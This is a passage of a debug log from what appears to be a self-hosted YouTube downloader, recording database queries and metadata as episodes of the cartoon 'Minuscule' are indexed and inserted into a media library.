Current batch of media processed. Will check again in 1000ms 00:53:00.655 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:01.145 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:01.373 [debug] Current batch of media processed. Will check again in 1000ms 00:53:02.374 [debug] Current batch of media processed. Will check again in 1000ms 00:53:03.375 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 346, "filename" => "/downloads/Miniscule Season 1/2020-02-11 Minuscule - le chant des cigales⧸Cicada song (Season 1)/Minuscule - le chant des cigales⧸Cicada song (Season 1) [fnQFjCFug1E].mp4", "id" => "fnQFjCFug1E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=fnQFjCFug1E", "playlist_index" => 97, "timestamp" => 1581435002, "title" => "Minuscule - le chant des cigales/Cicada song (Season 1)", "upload_date" => "20200211"} 00:53:03.376 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1730.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:03.377 [debug] QUERY OK source="sources" db=0.4ms idle=1682.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:03.378 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=732.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-11 15:30:02Z], 4] 00:53:03.382 [debug] QUERY OK source="media_items" db=2.3ms idle=734.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - le chant des cigales/Cicada song (Season 1)", "cca9bfa1-e804-4140-bba5-d26fc9a6ea3e", "fnQFjCFug1E", 346, false, 4, "https://www.youtube.com/watch?v=fnQFjCFug1E", 97, "/downloads/Miniscule Season 1/2020-02-11 Minuscule - le chant des cigales⧸Cicada song (Season 1)/Minuscule - le chant des cigales⧸Cicada song (Season 1) [fnQFjCFug1E].mp4", false, false, false, [], 1, ~U[2020-02-11 15:30:02Z], ~U[2025-12-14 07:53:03Z], ~U[2025-12-14 07:53:03Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - le chant des cigales/Cicada song (Season 1)", "fnQFjCFug1E", 346, false, 4, "https://www.youtube.com/watch?v=fnQFjCFug1E", "/downloads/Miniscule Season 1/2020-02-11 Minuscule - le chant des cigales⧸Cicada song (Season 1)/Minuscule - le chant des cigales⧸Cicada song (Season 1) [fnQFjCFug1E].mp4", false, ~U[2020-02-11 15:30:02Z]] 00:53:03.382 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=686.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:03.383 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:03.384 [debug] QUERY OK source="media_items" db=0.5ms idle=6.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89094] 00:53:03.384 [debug] Current batch of media processed. Will check again in 1000ms 00:53:04.386 [debug] Current batch of media processed. Will check again in 1000ms 00:53:05.387 [debug] Current batch of media processed. Will check again in 1000ms 00:53:06.388 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 339, "filename" => "/downloads/Miniscule Season 1/2020-02-04 Minuscule - grosse mouche bleue⧸Horsefly (Season 1)/Minuscule - grosse mouche bleue⧸Horsefly (Season 1) [jMCwQZvg-1g].mp4", "id" => "jMCwQZvg-1g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jMCwQZvg-1g", "playlist_index" => 98, "timestamp" => 1580830204, "title" => "Minuscule - grosse mouche bleue/Horsefly (Season 1)", "upload_date" => "20200204"} 00:53:06.389 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1743.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:06.390 [debug] QUERY OK source="sources" db=0.3ms idle=1744.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:06.391 [debug] QUERY OK source="media_items" db=0.9ms idle=1745.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-04 15:30:04Z], 4] 00:53:06.394 [debug] QUERY OK source="media_items" db=2.1ms idle=1691.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - grosse mouche bleue/Horsefly (Season 1)", "9f23935e-1fe6-42b5-9f57-2909a3c0a153", "jMCwQZvg-1g", 339, false, 4, "https://www.youtube.com/watch?v=jMCwQZvg-1g", 98, "/downloads/Miniscule Season 1/2020-02-04 Minuscule - grosse mouche bleue⧸Horsefly (Season 1)/Minuscule - grosse mouche bleue⧸Horsefly (Season 1) [jMCwQZvg-1g].mp4", false, false, false, [], 1, ~U[2020-02-04 15:30:04Z], ~U[2025-12-14 07:53:06Z], ~U[2025-12-14 07:53:06Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - grosse mouche bleue/Horsefly (Season 1)", "jMCwQZvg-1g", 339, false, 4, "https://www.youtube.com/watch?v=jMCwQZvg-1g", "/downloads/Miniscule Season 1/2020-02-04 Minuscule - grosse mouche bleue⧸Horsefly (Season 1)/Minuscule - grosse mouche bleue⧸Horsefly (Season 1) [jMCwQZvg-1g].mp4", false, ~U[2020-02-04 15:30:04Z]] 00:53:06.395 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=692.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:06.396 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:06.397 [debug] QUERY OK source="media_items" db=0.4ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89096] 00:53:06.397 [debug] Current batch of media processed. Will check again in 1000ms 00:53:07.398 [debug] Current batch of media processed. Will check again in 1000ms 00:53:08.399 [debug] Current batch of media processed. Will check again in 1000ms 00:53:09.400 [debug] Current batch of media processed. Will check again in 1000ms 00:53:10.401 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 338, "filename" => "/downloads/Miniscule Season 1/2020-01-28 Minuscule - Hyperactive (Season 1)/Minuscule - Hyperactive (Season 1) [V5Pk_ZSwNNc].mp4", "id" => "V5Pk_ZSwNNc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=V5Pk_ZSwNNc", "playlist_index" => 99, "timestamp" => 1580225400, "title" => "Minuscule - Hyperactive (Season 1)", "upload_date" => "20200128"} 00:53:10.402 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=756.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:10.403 [debug] QUERY OK source="sources" db=0.4ms idle=757.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:10.405 [debug] QUERY OK source="media_items" db=1.0ms idle=758.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-28 15:30:00Z], 4] 00:53:10.408 [debug] QUERY OK source="media_items" db=2.3ms idle=760.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hyperactive (Season 1)", "8f570ef9-0391-4616-aab9-58945294ebe2", "V5Pk_ZSwNNc", 338, false, 4, "https://www.youtube.com/watch?v=V5Pk_ZSwNNc", 99, "/downloads/Miniscule Season 1/2020-01-28 Minuscule - Hyperactive (Season 1)/Minuscule - Hyperactive (Season 1) [V5Pk_ZSwNNc].mp4", false, false, false, [], 1, ~U[2020-01-28 15:30:00Z], ~U[2025-12-14 07:53:10Z], ~U[2025-12-14 07:53:10Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hyperactive (Season 1)", "V5Pk_ZSwNNc", 338, false, 4, "https://www.youtube.com/watch?v=V5Pk_ZSwNNc", "/downloads/Miniscule Season 1/2020-01-28 Minuscule - Hyperactive (Season 1)/Minuscule - Hyperactive (Season 1) [V5Pk_ZSwNNc].mp4", false, ~U[2020-01-28 15:30:00Z]] 00:53:10.409 [debug] QUERY OK source="sources" db=0.5ms idle=698.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:53:10.410 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:53:10.411 [debug] QUERY OK source="media_items" db=0.6ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89098] 00:53:10.411 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #TDWhYvpznAU/youtube video #TDWhYvpznAU [TDWhYvpznAU].NA", "id" => "TDWhYvpznAU", "original_url" => "https://www.youtube.com/watch?v=TDWhYvpznAU", "playlist_index" => 100, "title" => "youtube video #TDWhYvpznAU"} 00:53:10.412 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:10.412 [debug] Current batch of media processed. Will check again in 1000ms 00:53:11.413 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #JIiWVQtqKnE/youtube video #JIiWVQtqKnE [JIiWVQtqKnE].NA", "id" => "JIiWVQtqKnE", "original_url" => "https://www.youtube.com/watch?v=JIiWVQtqKnE", "playlist_index" => 101, "title" => "youtube video #JIiWVQtqKnE"} 00:53:11.414 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:11.415 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #CHYiz3bD0Z0/youtube video #CHYiz3bD0Z0 [CHYiz3bD0Z0].NA", "id" => "CHYiz3bD0Z0", "original_url" => "https://www.youtube.com/watch?v=CHYiz3bD0Z0", "playlist_index" => 102, "title" => "youtube video #CHYiz3bD0Z0"} 00:53:11.415 [debug] QUERY OK source="sources" db=0.3ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:53:11.416 [debug] Current batch of media processed. Will check again in 1000ms 00:53:12.417 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 1/NA youtube video #wD3ffbiAo1s/youtube video #wD3ffbiAo1s [wD3ffbiAo1s].NA", "id" => "wD3ffbiAo1s", "original_url" => 